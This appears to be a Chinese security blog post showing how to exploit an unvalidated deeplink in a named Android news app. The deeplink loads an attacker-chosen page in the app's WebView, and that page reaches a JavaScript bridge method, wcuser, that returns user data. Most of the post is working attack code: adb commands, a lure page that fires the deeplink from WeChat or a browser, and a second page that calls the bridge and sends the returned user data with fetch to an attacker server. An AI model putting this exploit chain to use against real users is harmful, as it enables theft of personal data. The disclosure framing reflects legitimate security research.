Android WebView URL可控实现信息窃取
1. 发现deeplink
反编译APP,分析AndroidManifest.xml文件,发现APP使用deeplink机制
2. 构造deeplink
根据AndroidManifest.xml中注册的deeplink ,构造deeplink并触发访问,执行以下命令:
adb shell am start -a android.intent.action.VIEW -d "guangan://com.tfrm/open"
3. 获取传参信息
使用r0trace对APP进行调试分析,可以知道APP在处理deeplink "guangan://com.tfrm/open"时,期望读取url参数的值
4. 完整deeplink并访问
再次完善deeplink "guangan://com.tfrm/open?url=https://www.baidu.com"
触发deeplink的访问,如下
adb shell am start -a android.intent.action.VIEW -d "guangan://com.tfrm/open?url=https://www.baidu.com"
可以看到,通过deeplink,APP webview组件加载的url 攻击者可控
5. 砸壳分析
对APP进行砸壳,反编译分析相关代码验证前面的分析(实际过程中,如果已经实现前面的效果,不用在分析源码)
可以看到,在整个过程中,APP确实没对url进行任何的校验
6. 获取webview暴露接口
通过进一步分析反编译源码
在类cn.thecover.www.covermedia.ui.widget.webview.JSMethod 中定义了网页和APP远程方法交互的接口
暴露的原生方法wcuser,可在网页中调用获取用户敏感信息
7. 实现远程窃取用户信息
编写一个恶意的h5页面,调用暴露的方法,使用webview加载来实现对用户敏感信息的窃取
第一个h5页面,用户访问后触发deeplink的执行,使APP加载指定的恶意页面
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>xxxAPP打开提示</title>
<script>
// 检测是否是微信环境
function isWeChat() {
const ua = navigator.userAgent.toLowerCase();
return ua.indexOf('micromessenger') !== -1;
}
// 页面加载完成后执行
window.onload = function() {
const wechatWarning = document.getElementById('wechat-warning');
const browserContent = document.getElementById('browser-content');
if (isWeChat()) {
// 如果是微信环境,尝试触发 Deep Link
tryToOpenAppInWeChat();
wechatWarning.style.display = 'block';
} else {
// 如果是普通浏览器环境,显示按钮
browserContent.style.display = 'block';
}
};
// 微信环境下尝试触发 Deep Link
function tryToOpenAppInWeChat() {
// 微信环境中尝试触发 Deep Link
const deepLink = "guangan://com.tfrm/open?url=http://192.168.10.10:8000/hack.html";
window.location.href = deepLink;
// 提示用户手动打开(如果触发失败)
setTimeout(() => {
alert("如果未能自动打开,请点击右上角菜单,选择“在浏览器中打开”后重试。");
}, 2000);
}
// 浏览器环境下点击按钮跳转到 Deep Link
function openInApp() {
// const deepLink = "guangan://com.tfrm/open?url=http://192.168.31.156:8000/hack.html";
const deepLink = "guangan://com.tfrm/open?url=http://192.168.10.10:8000/hack.html";
window.location.href = deepLink;
}
</script>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
padding: 20px;
}
#wechat-warning, #browser-content {
display: none;
}
button {
padding: 10px 20px;
font-size: 16px;
background-color: #007bff;
color: white;
border: none;
border-radius: 5px;
cursor: pointer;
}
button:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<h1>xxxAPP提示</h1>
<!-- 微信环境提示 -->
<div id="wechat-warning">
<p>正在尝试打开xxxAPP...</p>
<p>如果未能自动打开,请点击右上角菜单,选择“在浏览器中打开”后重试。</p>
</div>
<!-- 浏览器环境内容 -->
<div id="browser-content">
<p>请点击下方按钮,使用xxxAPP打开。</p>
<button onclick="openInApp()">打开xxxAPP</button>
</div>
</body>
</html>
当访问上一步的url触发deeplink的执行后,即可使目标APP加载第二个h5页面,实现对用户数据的窃取
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>获取wcuser数据并发起请求</title>
<style>
body,
html {
height: 100%;
margin: 0;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
button {
margin: 10px;
padding: 10px 20px;
font-size: 16px;
}
#output {
white-space: pre-wrap;
word-wrap: break-word;
border: 1px solid #ccc;
padding: 10px;
background-color: #f9f9f9;
width: 80%;
max-height: 50%;
overflow: auto;
}
</style>
</head>
<body>
<h1>获取wcuser数据并发起请求</h1>
<div>
<button onclick="getWcUserData()">获取wcuser数据并发起请求</button>
</div>
<pre id="output"></pre>
<script>
function getWcUserData() {
const params = {
callback: 'handleWcUserCallback'
};
// 调用 Android 的 wcuser 方法
if (typeof AndroidBridging !== 'undefined') {
try {
AndroidBridging.wcuser(JSON.stringify(params));
} catch (error) {
console.error('调用 Android wcuser 方法失败:', error);
displayOutput('调用 Android wcuser 方法失败: ' + error.message);
}
} else {
console.error('AndroidBridging 对象未定义,请确保在调用之前加载该对象。');
displayOutput('AndroidBridging 对象未定义,请确保在调用之前加载该对象。');
}
}
// 处理 wcuser 的回调数据
function handleWcUserCallback(data) {
let parsedData;
try {
parsedData = JSON.parse(data);
} catch (error) {
console.error('解析数据失败:', error);
displayOutput('解析数据失败: ' + error.message);
return;
}
displayOutput('从 Android 返回的数据: ' + JSON.stringify(parsedData));
// 发起 POST 请求
const targetUrl = 'http://192.168.31.156:8000'; // 替换为你的目标 URL
const queryParams = new URLSearchParams({
...parsedData, // 将返回的 wcuser 数据作为查询参数
});
// 使用 fetch 发起 GET 请求
fetch(`${targetUrl}?${queryParams.toString()}`, {
method: 'GET'
})
.then(response => {
if (!response.ok) {
throw new Error('网络响应失败: ' + response.status);
}
return response.json();
})
.then(responseData => {
// 显示服务器返回的数据
displayOutput('服务器返回的数据: ' + JSON.stringify(responseData));
})
.catch(error => {
console.error('请求失败:', error);
displayOutput('请求失败: ' + error.message);
});
}
function displayOutput(message) {
const outputElement = document.getElementById('output');
outputElement.textContent += message + '\n';
}
</script>
</body>
</html>
最终效果实现
攻击者服务器获取到用户敏感信息效果如下
可以看到最终携带用户敏感信息请求攻击者服务器,实现对用户敏感信息的窃取。
- 感谢你赐予我前进的力量
赞赏者名单
因为你们的支持让我意识到写文章的价值🙏
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 吾奶习武之人
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果